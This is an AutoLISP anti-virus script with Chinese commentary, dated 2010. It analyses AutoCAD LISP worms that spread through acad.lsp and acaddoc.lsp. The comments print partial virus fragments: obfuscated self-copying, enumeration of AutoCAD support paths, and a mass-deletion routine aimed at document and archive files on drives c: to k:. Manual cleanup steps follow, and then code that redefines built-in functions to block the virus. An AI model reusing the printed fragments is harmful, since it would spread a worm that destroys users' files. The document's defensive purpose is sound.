acad20xx.lsp ;|【01】无聊之人写了不少lisp病毒,通过感染ACAD,以实现病毒传播的目的。 文件名为如下几个之一:"acad.lsp"、"acad.fas"、"acad.vlx"、"acaddoc.lsp"
【02】病毒文件解开后,代码片段如下:;;;==================================================;;;病毒片段1(vl-file-copy (findfile (vl-list->string '(108 111 103 111 46 103 105 102)) ) (vl-list->string '(97 99 97 100 46 118 108 120)))
;;;==================================================;;;病毒片段2(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz ....
;;;==================================================;;;病毒片段3(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))
;;;==================================================;;;病毒片段4 (setq k (list "k:" "j:" "i:" "h:" "g:" "f:" "e:" "d:" "c:")) (alldelete "exe" k 0 1) (alldelete "dwg" k 0 2) (alldelete "doc" k 0 1) (alldelete "xls" k 0 2) (alldelete "rar" k 0 1) (alldelete "pdf" k 0 2) (alldelete "zip" k 0 1) (alldelete "txt" k 0 2) (alldelete "chm" k 0 1) (alldelete "htm" k 0 2) (alldelete "mp3" k 0 1)
;;;==================================================【03】中毒后表征:1、acad系统文件被修改 2、acad打开文件速度变慢 3、在当前使用的dwg文档目录内生成病毒文件 4、硬盘文件莫名丢失(随机) 5、其它不适。
【04】分析:(略)
【05】手工解决方法: 1、全盘扫描,找到“*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp”,有选择性的删除; 所谓选择性的删除,是指正常的文件要放过,比如桥梁通用的acad.lsp。一般通过对比时间、大小即可甄别。
2、查看用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\” 和acad安装目录“*:\Program Files\AutoCAD 20**\”中的所有lsp文件、mnl文件,若发现病毒体,则删除病毒体后保存之。
3、至此,acad系统是清爽的。
4、为防范于未然,建议重定义病毒传播所需要的几个函数,以达到百毒不侵之目的。
病毒通过getvar函数获取当前图形的名字,进而判断是新图还是老图; 通过findfile函数获取acad的安装位置; 通过vl-file-copy函数复制自己到指定的文件夹内; 通过open "a"来追加病毒体到acad的系统文件中; 通过vl-file-delete_old来删除硬盘上指定的文件。
函数重定义代码如下:
复制代码到一新建文本文档,更名为"“cad20**.lsp”, 然后放置于用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\”中 即可起到免疫的效果。|;(vl-load-com)(princ "\n==============================================")(princ "\n函数重定义,防病毒。\tZML84 于 2010-12-10")(or getvar_old (progn (setq getvar_old getvar) (defun getvar (str) (if (wcmatch str "dwgname") () (getvar_old str) ) ) ))(or findfile_old (progn (setq findfile_old findfile) (defun findfile (str) (if (wcmatch str "acad.mnl,acad.exe,base.dcl,acad.dcl") () (findfile_old str) ) ) ))(or vl-file-copy_old (progn (setq vl-file-copy_old vl-file-copy) (defun vl-file-copy (str1 str2) (if (wcmatch str2 "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp" ) (alert (strcat "**" str2 "试图建立,被阻止**")) (vl-file-copy_old str1 str2) ) ) ))(or open_old (progn (setq open_old open) (defun open (str1 str2) (if (wcmatch str1 "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp" ) (alert (strcat "**" str1 "试图open,被阻止**")) (open_old str1 str2) ) ) ))(or vl-file-delete_old (progn (setq vl-file-delete_old vl-file-delete) (defun vl-file-delete (str1) (if (wcmatch str1 "*.exe,*.dwg,*.doc,*.xls,*.rar,*.pdf,*.zip,*.txt,*.dat" ) (alert (strcat "**" str1 "试图删除,被阻止**")) (vl-file-delete_old str1) ) ) ))(princ "\n==============================================") |